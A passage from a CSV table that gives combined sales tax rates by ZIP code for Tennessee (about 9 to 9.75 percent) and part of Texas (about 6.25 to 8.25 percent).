US-TN-37841,US,TN,37841,9.25,,,, US-TN-37843,US,TN,37843,9.75,,,, US-TN-37845,US,TN,37845,9,,,, US-TN-37846,US,TN,37846,9,,,, US-TN-37847,US,TN,37847,9.25,,,, US-TN-37848,US,TN,37848,9.75,,,, US-TN-37849,US,TN,37849,9.25,,,, US-TN-37851,US,TN,37851,9.25,,,, US-TN-37852,US,TN,37852,9.25,,,, US-TN-37853,US,TN,37853,9.25,,,, US-TN-37854,US,TN,37854,9.5,,,, US-TN-37857,US,TN,37857,9.75,,,, US-TN-37860,US,TN,37860,9.75,,,, US-TN-37861,US,TN,37861,9.75,,,, US-TN-37862,US,TN,37862,9.75,,,, US-TN-37863,US,TN,37863,9.75,,,, US-TN-37864,US,TN,37864,9.75,,,, US-TN-37865,US,TN,37865,9.75,,,, US-TN-37866,US,TN,37866,9.25,,,, US-TN-37867,US,TN,37867,9.25,,,, US-TN-37868,US,TN,37868,9.75,,,, US-TN-37869,US,TN,37869,9,,,, US-TN-37870,US,TN,37870,9.25,,,, US-TN-37871,US,TN,37871,9.25,,,, US-TN-37872,US,TN,37872,9,,,, US-TN-37873,US,TN,37873,9.75,,,, US-TN-37874,US,TN,37874,9.25,,,, US-TN-37876,US,TN,37876,9.75,,,, US-TN-37877,US,TN,37877,9.75,,,, US-TN-37878,US,TN,37878,9.25,,,, US-TN-37879,US,TN,37879,9.25,,,, US-TN-37880,US,TN,37880,9.5,,,, US-TN-37881,US,TN,37881,9.75,,,, US-TN-37882,US,TN,37882,9.25,,,, US-TN-37885,US,TN,37885,9.25,,,, US-TN-37886,US,TN,37886,9.25,,,, US-TN-37887,US,TN,37887,9,,,, US-TN-37888,US,TN,37888,9.75,,,, US-TN-37890,US,TN,37890,9.75,,,, US-TN-37891,US,TN,37891,9.75,,,, US-TN-37892,US,TN,37892,9.25,,,, US-TN-37901,US,TN,37901,9.25,,,, US-TN-37902,US,TN,37902,9.25,,,, US-TN-37909,US,TN,37909,9.25,,,, US-TN-37912,US,TN,37912,9.25,,,, US-TN-37914,US,TN,37914,9.25,,,, US-TN-37915,US,TN,37915,9.25,,,, US-TN-37916,US,TN,37916,9.25,,,, US-TN-37917,US,TN,37917,9.25,,,, US-TN-37918,US,TN,37918,9.25,,,, US-TN-37919,US,TN,37919,9.25,,,, US-TN-37920,US,TN,37920,9.25,,,, US-TN-37921,US,TN,37921,9.25,,,, US-TN-37922,US,TN,37922,9.25,,,, US-TN-37923,US,TN,37923,9.25,,,, US-TN-37924,US,TN,37924,9.25,,,, US-TN-37927,US,TN,37927,9.25,,,, US-TN-37928,US,TN,37928,9.25,,,, US-TN-37929,US,TN,37929,9.25,,,, US-TN-37930,US,TN,37930,9.25,,,, US-TN-37931,US,TN,37931,9.25,,,, US-TN-37932,US,TN,37932,9.25,,,, US-TN-37933,US,TN,37933,9.25,,,, US-TN-37934,US,TN,37934,9.25,,,, US-TN-37938,US,TN,37938,9.25,,,, US-TN-37939,US,TN,37939,9.25,,,, US-TN-37940,US,TN,37940,9.25,,,, US-TN-37950,US,TN,37950,9.25,,,, US-TN-37995,US,TN,37995,9.25,,,, US-TN-37996,US,TN,37996,9.25,,,, US-TN-37997,US,TN,37997,9.25,,,, US-TN-37998,US,TN,37998,9.25,,,, US-TN-38001,US,TN,38001,9.75,,,, US-TN-38002,US,TN,38002,9.75,,,, US-TN-38004,US,TN,38004,9.25,,,, US-TN-38006,US,TN,38006,9.75,,,, US-TN-38007,US,TN,38007,9.75,,,, US-TN-38008,US,TN,38008,9.75,,,, US-TN-38010,US,TN,38010,9.25,,,, US-TN-38011,US,TN,38011,9.25,,,, US-TN-38012,US,TN,38012,9.75,,,, US-TN-38014,US,TN,38014,9.25,,,, US-TN-38015,US,TN,38015,9.25,,,, US-TN-38016,US,TN,38016,9.25,,,, US-TN-38017,US,TN,38017,9.75,,,, US-TN-38018,US,TN,38018,9.25,,,, US-TN-38019,US,TN,38019,9.25,,,, US-TN-38021,US,TN,38021,9.75,,,, US-TN-38023,US,TN,38023,9.25,,,, US-TN-38024,US,TN,38024,9.75,,,, US-TN-38025,US,TN,38025,9.75,,,, US-TN-38027,US,TN,38027,9.75,,,, US-TN-38028,US,TN,38028,9.25,,,, US-TN-38029,US,TN,38029,9.75,,,, US-TN-38030,US,TN,38030,9.75,,,, US-TN-38034,US,TN,38034,9.75,,,, US-TN-38036,US,TN,38036,9.25,,,, US-TN-38037,US,TN,38037,9.75,,,, US-TN-38039,US,TN,38039,9.75,,,, US-TN-38040,US,TN,38040,9.75,,,, US-TN-38041,US,TN,38041,9.75,,,, US-TN-38042,US,TN,38042,9.75,,,, US-TN-38044,US,TN,38044,9.75,,,, US-TN-38045,US,TN,38045,9.25,,,, US-TN-38046,US,TN,38046,9.25,,,, US-TN-38047,US,TN,38047,9.75,,,, US-TN-38048,US,TN,38048,9.25,,,, US-TN-38049,US,TN,38049,9.25,,,, US-TN-38050,US,TN,38050,9.75,,,, US-TN-38052,US,TN,38052,9.75,,,, US-TN-38053,US,TN,38053,9.25,,,, US-TN-38054,US,TN,38054,9.75,,,, US-TN-38055,US,TN,38055,9.75,,,, US-TN-38057,US,TN,38057,9.25,,,, US-TN-38058,US,TN,38058,9.25,,,, US-TN-38059,US,TN,38059,9.75,,,, US-TN-38060,US,TN,38060,9.25,,,, US-TN-38061,US,TN,38061,9.75,,,, US-TN-38063,US,TN,38063,9.75,,,, US-TN-38066,US,TN,38066,9.25,,,, US-TN-38067,US,TN,38067,9.75,,,, US-TN-38068,US,TN,38068,9.25,,,, US-TN-38069,US,TN,38069,9.75,,,, US-TN-38070,US,TN,38070,9.75,,,, US-TN-38071,US,TN,38071,9.25,,,, US-TN-38075,US,TN,38075,9.75,,,, US-TN-38076,US,TN,38076,9.25,,,, US-TN-38077,US,TN,38077,9.75,,,, US-TN-38079,US,TN,38079,9.75,,,, US-TN-38080,US,TN,38080,9.75,,,, US-TN-38083,US,TN,38083,9.75,,,, US-TN-38088,US,TN,38088,9.25,,,, US-TN-38101,US,TN,38101,9.25,,,, US-TN-38103,US,TN,38103,9.25,,,, US-TN-38104,US,TN,38104,9.25,,,, US-TN-38105,US,TN,38105,9.25,,,, US-TN-38106,US,TN,38106,9.25,,,, US-TN-38107,US,TN,38107,9.25,,,, US-TN-38108,US,TN,38108,9.25,,,, US-TN-38109,US,TN,38109,9.25,,,, US-TN-38111,US,TN,38111,9.25,,,, US-TN-38112,US,TN,38112,9.25,,,, US-TN-38114,US,TN,38114,9.25,,,, US-TN-38115,US,TN,38115,9.25,,,, US-TN-38116,US,TN,38116,9.25,,,, US-TN-38117,US,TN,38117,9.25,,,, US-TN-38118,US,TN,38118,9.25,,,, US-TN-38119,US,TN,38119,9.25,,,, US-TN-38120,US,TN,38120,9.25,,,, US-TN-38122,US,TN,38122,9.25,,,, US-TN-38124,US,TN,38124,9.25,,,, US-TN-38125,US,TN,38125,9.25,,,, US-TN-38126,US,TN,38126,9.25,,,, US-TN-38127,US,TN,38127,9.25,,,, US-TN-38128,US,TN,38128,9.25,,,, US-TN-38130,US,TN,38130,9.25,,,, US-TN-38131,US,TN,38131,9.25,,,, US-TN-38132,US,TN,38132,9.25,,,, US-TN-38133,US,TN,38133,9.75,,,, US-TN-38134,US,TN,38134,9.25,,,, US-TN-38135,US,TN,38135,9.75,,,, US-TN-38136,US,TN,38136,9.25,,,, US-TN-38137,US,TN,38137,9.25,,,, US-TN-38138,US,TN,38138,9.75,,,, US-TN-38139,US,TN,38139,9.75,,,, US-TN-38141,US,TN,38141,9.25,,,, US-TN-38148,US,TN,38148,9.25,,,, US-TN-38152,US,TN,38152,9.25,,,, US-TN-38157,US,TN,38157,9.25,,,, US-TN-38161,US,TN,38161,9.25,,,, US-TN-38163,US,TN,38163,9.25,,,, US-TN-38166,US,TN,38166,9.25,,,, US-TN-38167,US,TN,38167,9.25,,,, US-TN-38168,US,TN,38168,9.25,,,, US-TN-38173,US,TN,38173,9.25,,,, US-TN-38174,US,TN,38174,9.25,,,, US-TN-38175,US,TN,38175,9.25,,,, US-TN-38177,US,TN,38177,9.25,,,, US-TN-38181,US,TN,38181,9.25,,,, US-TN-38182,US,TN,38182,9.25,,,, US-TN-38183,US,TN,38183,9.75,,,, US-TN-38184,US,TN,38184,9.75,,,, US-TN-38186,US,TN,38186,9.25,,,, US-TN-38187,US,TN,38187,9.25,,,, US-TN-38188,US,TN,38188,9.25,,,, US-TN-38190,US,TN,38190,9.25,,,, US-TN-38193,US,TN,38193,9.25,,,, US-TN-38194,US,TN,38194,9.25,,,, US-TN-38197,US,TN,38197,9.25,,,, US-TN-38201,US,TN,38201,9.75,,,, US-TN-38220,US,TN,38220,9.75,,,, US-TN-38221,US,TN,38221,9.75,,,, US-TN-38222,US,TN,38222,9.25,,,, US-TN-38223,US,TN,38223,9.25,,,, US-TN-38224,US,TN,38224,9.25,,,, US-TN-38225,US,TN,38225,9.75,,,, US-TN-38226,US,TN,38226,9.75,,,, US-TN-38229,US,TN,38229,9.75,,,, US-TN-38230,US,TN,38230,9.75,,,, US-TN-38231,US,TN,38231,9.25,,,, US-TN-38232,US,TN,38232,9.75,,,, US-TN-38233,US,TN,38233,9.75,,,, US-TN-38235,US,TN,38235,9.75,,,, US-TN-38236,US,TN,38236,9.25,,,, US-TN-38237,US,TN,38237,9.75,,,, US-TN-38238,US,TN,38238,9.75,,,, US-TN-38240,US,TN,38240,9.75,,,, US-TN-38241,US,TN,38241,9.75,,,, US-TN-38242,US,TN,38242,9.25,,,, US-TN-38251,US,TN,38251,9.25,,,, US-TN-38253,US,TN,38253,9.75,,,, US-TN-38254,US,TN,38254,9.75,,,, US-TN-38255,US,TN,38255,9.75,,,, US-TN-38256,US,TN,38256,9.25,,,, US-TN-38257,US,TN,38257,9.75,,,, US-TN-38258,US,TN,38258,9.75,,,, US-TN-38259,US,TN,38259,9.75,,,, US-TN-38260,US,TN,38260,9.75,,,, US-TN-38261,US,TN,38261,9.75,,,, US-TN-38271,US,TN,38271,9.75,,,, US-TN-38281,US,TN,38281,9.75,,,, US-TN-38301,US,TN,38301,9.75,,,, US-TN-38302,US,TN,38302,9.75,,,, US-TN-38303,US,TN,38303,9.75,,,, US-TN-38305,US,TN,38305,9.75,,,, US-TN-38308,US,TN,38308,9.75,,,, US-TN-38310,US,TN,38310,9.25,,,, US-TN-38311,US,TN,38311,9.5,,,, US-TN-38313,US,TN,38313,9.75,,,, US-TN-38314,US,TN,38314,9.75,,,, US-TN-38315,US,TN,38315,9.25,,,, US-TN-38316,US,TN,38316,9.75,,,, US-TN-38317,US,TN,38317,9.75,,,, US-TN-38318,US,TN,38318,9.75,,,, US-TN-38320,US,TN,38320,9.75,,,, US-TN-38321,US,TN,38321,9.75,,,, US-TN-38324,US,TN,38324,9.75,,,, US-TN-38326,US,TN,38326,9.5,,,, US-TN-38327,US,TN,38327,9.5,,,, US-TN-38328,US,TN,38328,9.75,,,, US-TN-38329,US,TN,38329,9.5,,,, US-TN-38330,US,TN,38330,9.75,,,, US-TN-38331,US,TN,38331,9.75,,,, US-TN-38332,US,TN,38332,9.75,,,, US-TN-38333,US,TN,38333,9.75,,,, US-TN-38334,US,TN,38334,9.25,,,, US-TN-38336,US,TN,38336,9.75,,,, US-TN-38337,US,TN,38337,9.75,,,, US-TN-38338,US,TN,38338,9.75,,,, US-TN-38339,US,TN,38339,9.25,,,, US-TN-38340,US,TN,38340,9.75,,,, US-TN-38341,US,TN,38341,9.75,,,, US-TN-38342,US,TN,38342,9.75,,,, US-TN-38343,US,TN,38343,9.75,,,, US-TN-38344,US,TN,38344,9.75,,,, US-TN-38345,US,TN,38345,9.75,,,, US-TN-38346,US,TN,38346,9.75,,,, US-TN-38347,US,TN,38347,9.75,,,, US-TN-38348,US,TN,38348,9.75,,,, US-TN-38351,US,TN,38351,9.75,,,, US-TN-38352,US,TN,38352,9.75,,,, US-TN-38355,US,TN,38355,9.75,,,, US-TN-38356,US,TN,38356,9.75,,,, US-TN-38357,US,TN,38357,9.25,,,, US-TN-38358,US,TN,38358,9.75,,,, US-TN-38359,US,TN,38359,9.25,,,, US-TN-38361,US,TN,38361,9.5,,,, US-TN-38362,US,TN,38362,9.75,,,, US-TN-38363,US,TN,38363,9.5,,,, US-TN-38365,US,TN,38365,9.5,,,, US-TN-38366,US,TN,38366,9.75,,,, US-TN-38367,US,TN,38367,9.25,,,, US-TN-38368,US,TN,38368,9.75,,,, US-TN-38369,US,TN,38369,9.75,,,, US-TN-38370,US,TN,38370,9.5,,,, US-TN-38371,US,TN,38371,9.75,,,, US-TN-38372,US,TN,38372,9.5,,,, US-TN-38374,US,TN,38374,9.75,,,, US-TN-38375,US,TN,38375,9.25,,,, US-TN-38376,US,TN,38376,9.5,,,, US-TN-38377,US,TN,38377,9.75,,,, US-TN-38378,US,TN,38378,9.75,,,, US-TN-38379,US,TN,38379,9.25,,,, US-TN-38380,US,TN,38380,9.5,,,, US-TN-38381,US,TN,38381,9.75,,,, US-TN-38382,US,TN,38382,9.75,,,, US-TN-38387,US,TN,38387,9.75,,,, US-TN-38388,US,TN,38388,9.75,,,, US-TN-38389,US,TN,38389,9.75,,,, US-TN-38390,US,TN,38390,9.75,,,, US-TN-38391,US,TN,38391,9.75,,,, US-TN-38392,US,TN,38392,9.75,,,, US-TN-38393,US,TN,38393,9.25,,,, US-TN-38401,US,TN,38401,9.25,,,, US-TN-38402,US,TN,38402,9.25,,,, US-TN-38425,US,TN,38425,9.75,,,, US-TN-38449,US,TN,38449,9.5,,,, US-TN-38450,US,TN,38450,9.75,,,, US-TN-38451,US,TN,38451,9.25,,,, US-TN-38452,US,TN,38452,9.75,,,, US-TN-38453,US,TN,38453,9.5,,,, US-TN-38454,US,TN,38454,9.75,,,, US-TN-38455,US,TN,38455,9.5,,,, US-TN-38456,US,TN,38456,9.75,,,, US-TN-38457,US,TN,38457,9.75,,,, US-TN-38459,US,TN,38459,9.5,,,, US-TN-38460,US,TN,38460,9.5,,,, US-TN-38461,US,TN,38461,9.25,,,, US-TN-38462,US,TN,38462,9.5,,,, US-TN-38463,US,TN,38463,9.75,,,, US-TN-38464,US,TN,38464,9.75,,,, US-TN-38468,US,TN,38468,9.75,,,, US-TN-38469,US,TN,38469,9.75,,,, US-TN-38471,US,TN,38471,9.75,,,, US-TN-38472,US,TN,38472,9.5,,,, US-TN-38473,US,TN,38473,9.5,,,, US-TN-38474,US,TN,38474,9.25,,,, US-TN-38475,US,TN,38475,9.5,,,, US-TN-38476,US,TN,38476,9.75,,,, US-TN-38477,US,TN,38477,9.5,,,, US-TN-38478,US,TN,38478,9.5,,,, US-TN-38481,US,TN,38481,9.75,,,, US-TN-38482,US,TN,38482,9.25,,,, US-TN-38483,US,TN,38483,9.75,,,, US-TN-38485,US,TN,38485,9.75,,,, US-TN-38486,US,TN,38486,9.75,,,, US-TN-38487,US,TN,38487,9.25,,,, US-TN-38488,US,TN,38488,9.5,,,, US-TN-38501,US,TN,38501,9.75,,,, US-TN-38502,US,TN,38502,9.75,,,, US-TN-38503,US,TN,38503,9.75,,,, US-TN-38504,US,TN,38504,9.5,,,, US-TN-38505,US,TN,38505,9.75,,,, US-TN-38506,US,TN,38506,9.75,,,, US-TN-38541,US,TN,38541,9.5,,,, US-TN-38542,US,TN,38542,9.5,,,, US-TN-38543,US,TN,38543,9.5,,,, US-TN-38544,US,TN,38544,9.75,,,, US-TN-38545,US,TN,38545,9.75,,,, US-TN-38547,US,TN,38547,9.75,,,, US-TN-38548,US,TN,38548,9.75,,,, US-TN-38549,US,TN,38549,9.75,,,, US-TN-38550,US,TN,38550,9.75,,,, US-TN-38551,US,TN,38551,9.75,,,, US-TN-38552,US,TN,38552,9.75,,,, US-TN-38553,US,TN,38553,9.5,,,, US-TN-38554,US,TN,38554,9.5,,,, US-TN-38555,US,TN,38555,9.75,,,, US-TN-38556,US,TN,38556,9.5,,,, US-TN-38557,US,TN,38557,9.75,,,, US-TN-38558,US,TN,38558,9.75,,,, US-TN-38559,US,TN,38559,9.25,,,, US-TN-38560,US,TN,38560,9.75,,,, US-TN-38562,US,TN,38562,9.75,,,, US-TN-38563,US,TN,38563,9.75,,,, US-TN-38564,US,TN,38564,9.75,,,, US-TN-38565,US,TN,38565,9.5,,,, US-TN-38567,US,TN,38567,9.75,,,, US-TN-38568,US,TN,38568,9.5,,,, US-TN-38569,US,TN,38569,9.75,,,, US-TN-38570,US,TN,38570,9.5,,,, US-TN-38571,US,TN,38571,9.75,,,, US-TN-38572,US,TN,38572,9.75,,,, US-TN-38573,US,TN,38573,9.5,,,, US-TN-38574,US,TN,38574,9.75,,,, US-TN-38575,US,TN,38575,9.75,,,, US-TN-38577,US,TN,38577,9.75,,,, US-TN-38578,US,TN,38578,9.75,,,, US-TN-38579,US,TN,38579,9.25,,,, US-TN-38580,US,TN,38580,9.5,,,, US-TN-38581,US,TN,38581,9.75,,,, US-TN-38582,US,TN,38582,9.75,,,, US-TN-38583,US,TN,38583,9.25,,,, US-TN-38585,US,TN,38585,9.75,,,, US-TN-38587,US,TN,38587,9.25,,,, US-TN-38588,US,TN,38588,9.75,,,, US-TN-38589,US,TN,38589,9.5,,,, US-TX-73301,US,TX,73301,8.25,,,, US-TX-73344,US,TX,73344,8.25,,,, US-TX-73960,US,TX,73960,6.25,,,, US-TX-75001,US,TX,75001,8.25,,,, US-TX-75002,US,TX,75002,8.25,,,, US-TX-75006,US,TX,75006,8.25,,,, US-TX-75007,US,TX,75007,8.25,,,, US-TX-75009,US,TX,75009,8.25,,,, US-TX-75010,US,TX,75010,8.25,,,, US-TX-75011,US,TX,75011,8.25,,,, US-TX-75013,US,TX,75013,8.25,,,, US-TX-75014,US,TX,75014,8.25,,,, US-TX-75015,US,TX,75015,8.25,,,, US-TX-75016,US,TX,75016,8.25,,,, US-TX-75017,US,TX,75017,8.25,,,, US-TX-75019,US,TX,75019,8.25,,,, US-TX-75020,US,TX,75020,8.25,,,, US-TX-75021,US,TX,75021,6.25,,,, US-TX-75022,US,TX,75022,8.25,,,, US-TX-75023,US,TX,75023,8.25,,,, US-TX-75024,US,TX,75024,8.25,,,, US-TX-75025,US,TX,75025,8.25,,,, US-TX-75026,US,TX,75026,8.25,,,, US-TX-75027,US,TX,75027,8.25,,,, US-TX-75028,US,TX,75028,8.25,,,, US-TX-75029,US,TX,75029,8.25,,,, US-TX-75030,US,TX,75030,8.25,,,, US-TX-75032,US,TX,75032,8.25,,,, US-TX-75033,US,TX,75033,8.25,,,, US-TX-75034,US,TX,75034,8.25,,,, US-TX-75035,US,TX,75035,8.25,,,, US-TX-75038,US,TX,75038,8.25,,,, US-TX-75039,US,TX,75039,8.25,,,, US-TX-75040,US,TX,75040,8.25,,,, US-TX-75041,US,TX,75041,8.25,,,, US-TX-75042,US,TX,75042,8.25,,,, US-TX-75043,US,TX,75043,8.25,,,, US-TX-75044,US,TX,75044,8.25,,,, US-TX-75045,US,TX,75045,8.25,,,, US-TX-75046,US,TX,75046,8.25,,,, US-TX-75047,US,TX,75047,8.25,,,, US-TX-75048,US,TX,75048,8,,,, US-TX-75049,US,TX,75049,8.25,,,, US-TX-75050,US,TX,75050,8.25,,,, US-TX-75051,US,TX,75051,8.25,,,, US-TX-75052,US,TX,75052,8.25,,,, US-TX-75053,US,TX,75053,8.25,,,, US-TX-75054,US,TX,75054,8.25,,,, US-TX-75056,US,TX,75056,8.25,,,, US-TX-75057,US,TX,75057,8.25,,,, US-TX-75058,US,TX,75058,6.25,,,, US-TX-75060,US,TX,75060,8.25,,,, US-TX-75061,US,TX,75061,8.25,,,, US-TX-75062,US,TX,75062,8.25,,,, US-TX-75063,US,TX,75063,8.25,,,, US-TX-75065,US,TX,75065,8.25,,,, US-TX-75067,US,TX,75067,8.25,,,, US-TX-75068,US,TX,75068,8.25,,,, US-TX-75069,US,TX,75069,8.25,,,, US-TX-75070,US,TX,75070,8.25,,,, US-TX-75071,US,TX,75071,8.25,,,, US-TX-75074,US,TX,75074,8.25,,,, US-TX-75075,US,TX,75075,8.25,,,, US-TX-75076,US,TX,75076,6.25,,,, US-TX-75077,US,TX,75077,8.25,,,, US-TX-75078,US,TX,75078,8.25,,,, US-TX-75080,US,TX,75080,8.25,,,, US-TX-75081,US,TX,75081,8.25,,,, US-TX-75082,US,TX,75082,8.25,,,, US-TX-75083,US,TX,75083,8.25,,,, US-TX-75085,US,TX,75085,8.25,,,, US-TX-75086,US,TX,75086,8.25,,,, US-TX-75087,US,TX,75087,8.25,,,, US-TX-75088,US,TX,75088,8.25,,,, US-TX-75089,US,TX,75089,8.25,,,, US-TX-75090,US,TX,75090,8.25,,,, US-TX-75091,US,TX,75091,8.25,,,, US-TX-75092,US,TX,75092,8.25,,,, US-TX-75093,US,TX,75093,8.25,,,, US-TX-75094,US,TX,75094,8.25,,,, US-TX-75097,US,TX,75097,7.25,,,, US-TX-75098,US,TX,75098,8.25,,,, US-TX-75099,US,TX,75099,8.25,,,, US-TX-75101,US,TX,75101,7.25,,,, US-TX-75102,US,TX,75102,6.75,,,, US-TX-75103,US,TX,75103,6.25,,,, US-TX-75104,US,TX,75104,8.25,,,, US-TX-75105,US,TX,75105,6.75,,,, US-TX-75106,US,TX,75106,8.25,,,, US-TX-75109,US,TX,75109,6.75,,,, US-TX-75110,US,TX,75110,8.25,,,, US-TX-75114,US,TX,75114,8.25,,,, US-TX-75115,US,TX,75115,8.25,,,, US-TX-75116,US,TX,75116,8.25,,,, US-TX-75117,US,TX,75117,6.25,,,, US-TX-75118,US,TX,75118,6.25,,,, US-TX-75119,US,TX,75119,7.75,,,, US-TX-75120,US,TX,75120,7.75,,,, US-TX-75121,US,TX,75121,6.25,,,, US-TX-75123,US,TX,75123,8.25,,,, US-TX-75124,US,TX,75124,6.25,,,, US-TX-75125,US,TX,75125,6.25,,,, US-TX-75126,US,TX,75126,6.25,,,, US-TX-75127,US,TX,75127,6.25,,,, US-TX-75132,US,TX,75132,8.25,,,, US-TX-75134,US,TX,75134,8.25,,,, US-TX-75135,US,TX,75135,6.75,,,, US-TX-75137,US,TX,75137,8.25,,,, US-TX-75138,US,TX,75138,8.25,,,, US-TX-75140,US,TX,75140,6.25,,,, US-TX-75141,US,TX,75141,8.25,,,, US-TX-75142,US,TX,75142,6.25,,,, US-TX-75143,US,TX,75143,6.25,,,, US-TX-75144,US,TX,75144,6.75,,,, US-TX-75146,US,TX,75146,8.25,,,, US-TX-75147,US,TX,75147,6.25,,,, US-TX-75148,US,TX,75148,6.25,,,, US-TX-75149,US,TX,75149,8.25,,,, US-TX-75150,US,TX,75150,8.25,,,, US-TX-75151,US,TX,75151,8.25,,,, US-TX-75152,US,TX,75152,6.25,,,, US-TX-75153,US,TX,75153,6.75,,,, US-TX-75154,US,TX,75154,8.25,,,, US-TX-75155,US,TX,75155,6.75,,,, US-TX-75156,US,TX,75156,6.25,,,, US-TX-75157,US,TX,75157,7.25,,,, US-TX-75158,US,TX,75158,6.25,,,, US-TX-75159,US,TX,75159,8.25,,,, US-TX-75160,US,TX,75160,8.25,,,, US-TX-75161,US,TX,75161,6.25,,,, US-TX-75163,US,TX,75163,6.25,,,, US-TX-75164,US,TX,75164,7.25,,,, US-TX-75165,US,TX,75165,8.25,,,, US-TX-75166,US,TX,75166,8,,,, US-TX-75167,US,TX,75167,6.25,,,, US-TX-75168,US,TX,75168,8.25,,,, US-TX-75169,US,TX,75169,6.25,,,, US-TX-75172,US,TX,75172,8.25,,,, US-TX-75173,US,TX,75173,6.25,,,, US-TX-75180,US,TX,75180,8.25,,,, US-TX-75181,US,TX,75181,8.25,,,, US-TX-75182,US,TX,75182,8.25,,,, US-TX-75185,US,TX,75185,8.25,,,, US-TX-75187,US,TX,75187,8.25,,,, US-TX-75189,US,TX,75189,8.25,,,, US-TX-75201,US,TX,75201,8.25,,,, US-TX-75202,US,TX,75202,8.25,,,, US-TX-75203,US,TX,75203,8.25,,,, US-TX-75204,US,TX,75204,8.25,,,, US-TX-75205,US,TX,75205,8.25,,,, US-TX-75206,US,TX,75206,8.25,,,, US-TX-75207,US,TX,75207,8.25,,,, US-TX-75208,US,TX,75208,8.25,,,, US-TX-75209,US,TX,75209,8.25,,,, US-TX-75210,US,TX,75210,8.25,,,, US-TX-75211,US,TX,75211,8.25,,,, US-TX-75212,US,TX,75212,8.25,,,, US-TX-75214,US,TX,75214,8.25,,,, US-TX-75215,US,TX,75215,8.25,,,, US-TX-75216,US,TX,75216,8.25,,,, US-TX-75217,US,TX,75217,8.25,,,, US-TX-75218,US,TX,75218,8.25,,,, US-TX-75219,US,TX,75219,8.25,,,, US-TX-75220,US,TX,75220,8.25,,,, US-TX-75221,US,TX,75221,8.25,,,, US-TX-75222,US,TX,75222,8.25,,,, US-TX-75223,US,TX,75223,8.25,,,, US-TX-75224,US,TX,75224,8.25,,,, US-TX-75225,US,TX,75225,8.25,,,, US-TX-75226,US,TX,75226,8.25,,,, US-TX-75227,US,TX,75227,8.25,,,, US-TX-75228,US,TX,75228,8.25,,,, US-TX-75229,US,TX,75229,8.25,,,, US-TX-75230,US,TX,75230,8.25,,,, US-TX-75231,US,TX,75231,8.25,,,, US-TX-75232,US,TX,75232,8.25,,,, US-TX-75233,US,TX,75233,8.25,,,, US-TX-75234,US,TX,75234,8.25,,,, US-TX-75235,US,TX,75235,8.25,,,, US-TX-75236,US,TX,75236,8.25,,,, US-TX-75237,US,TX,75237,8.25,,,, US-TX-75238,US,TX,75238,8.25,,,, US-TX-75240,US,TX,75240,8.25,,,, US-TX-75241,US,TX,75241,8.25,,,, US-TX-75242,US,TX,75242,8.25,,,, US-TX-75243,US,TX,75243,8.25,,,, US-TX-75244,US,TX,75244,8.25,,,, US-TX-75246,US,TX,75246,8.25,,,, US-TX-75247,US,TX,75247,8.25,,,, US-TX-75248,US,TX,75248,8.25,,,, US-TX-75249,US,TX,75249,8.25,,,, US-TX-75250,US,TX,75250,8.25,,,, US-TX-75251,US,TX,75251,8.25,,,, US-TX-75252,US,TX,75252,8.25,,,, US-TX-75253,US,TX,75253,8.25,,,, US-TX-75254,US,TX,75254,8.25,,,, US-TX-75261,US,TX,75261,8.25,,,, US-TX-75270,US,TX,75270,8.25,,,, US-TX-75287,US,TX,75287,8.25,,,, US-TX-75313,US,TX,75313,8.25,,,, US-TX-75315,US,TX,75315,8.25,,,, US-TX-75336,US,TX,75336,8.25,,,, US-TX-75339,US,TX,75339,8.25,,,, US-TX-75342,US,TX,75342,8.25,,,, US-TX-75354,US,TX,75354,8.25,,,, US-TX-75355,US,TX,75355,8.25,,,, US-TX-75356,US,TX,75356,8.25,,,, US-TX-75357,US,TX,75357,8.25,,,, US-TX-75359,US,TX,75359,8.25,,,, US-TX-75360,US,TX,75360,8.25,,,, US-TX-75367,US,TX,75367,8.25,,,, US-TX-75370,US,TX,75370,8.25,,,, US-TX-75371,US,TX,75371,8.25,,,, US-TX-75372,US,TX,75372,8.25,,,, US-TX-75374,US,TX,75374,8.25,,,, US-TX-75376,US,TX,75376,8.25,,,, US-TX-75378,US,TX,75378,8.25,,,, US-TX-75379,US,TX,75379,8.25,,,, US-TX-75380,US,TX,75380,8.25,,,, US-TX-75381,US,TX,75381,8.25,,,, US-TX-75382,US,TX,75382,8.25,,,, US-TX-75390,US,TX,75390,8.25,,,, US-TX-75393,US,TX,75393,8.25,,,, US-TX-75394,US,TX,75394,8.25,,,, US-TX-75398,US,TX,75398,8.25,,,, US-TX-75401,US,TX,75401,8.25,,,, US-TX-75402,US,TX,75402,8.25,,,, US-TX-75403,US,TX,75403,8.25,,,, US-TX-75404,US,TX,75404,8.25,,,, US-TX-75407,US,TX,75407,6.25,,,, US-TX-75409,US,TX,75409,8.25,,,, US-TX-75410,US,TX,75410,6.75,,,, US-TX-75411,US,TX,75411,6.75,,,, US-TX-75412,US,TX,75412,6.75,,,, US-TX-75413,US,TX,75413,7.75,,,, US-TX-75414,US,TX,75414,6.25,,,, US-TX-75415,US,TX,75415,7.25,,,, US-TX-75416,US,TX,75416,6.75,,,, US-TX-75417,US,TX,75417,6.75,,,, US-TX-75418,US,TX,75418,8.25,,,, US-TX-75420,US,TX,75420,6.75,,,, US-TX-75421,US,TX,75421,6.75,,,, US-TX-75422,US,TX,75422,6.75,,,, US-TX-75423,US,TX,75423,6.75,,,, US-TX-75424,US,TX,75424,6.25,,,, US-TX-75425,US,TX,75425,6.75,,,, US-TX-75426,US,TX,75426,8.25,,,, US-TX-75428,US,TX,75428,8.25,,,, US-TX-75429,US,TX,75429,8.25,,,, US-TX-75431,US,TX,75431,6.75,,,, US-TX-75432,US,TX,75432,8.25,,,, US-TX-75433,US,TX,75433,6.75,,,, US-TX-75434,US,TX,75434,6.75,,,, US-TX-75435,US,TX,75435,7.75,,,, US-TX-75436,US,TX,75436,7.75,,,, US-TX-75437,US,TX,75437,6.75,,,, US-TX-75438,US,TX,75438,6.75,,,, US-TX-75439,US,TX,75439,7.75,,,, US-TX-75440,US,TX,75440,6.75,,,, US-TX-75441,US,TX,75441,7.25,,,, US-TX-75442,US,TX,75442,6.25,,,, US-TX-75443,US,TX,75443,6.75,,,, US-TX-75444,US,TX,75444,6.75,,,, US-TX-75446,US,TX,75446,8.25,,,, US-TX-75447,US,TX,75447,6.75,,,, US-TX-75448,US,TX,75448,7.25,,,, US-TX-75449,US,TX,75449,7.75,,,, US-TX-75450,US,TX,75450,7.25,,,, US-TX-75451,US,TX,75451,6.75,,,, US-TX-75452,US,TX,75452,8.25,,,, US-TX-75453,US,TX,75453,6.75,,,, US-TX-75454,US,TX,75454,8.25,,,, US-TX-75455,US,TX,75455,6.75,,,, US-TX-75456,US,TX,75456,8.25,,,, US-TX-75457,US,TX,75457,6.75,,,, 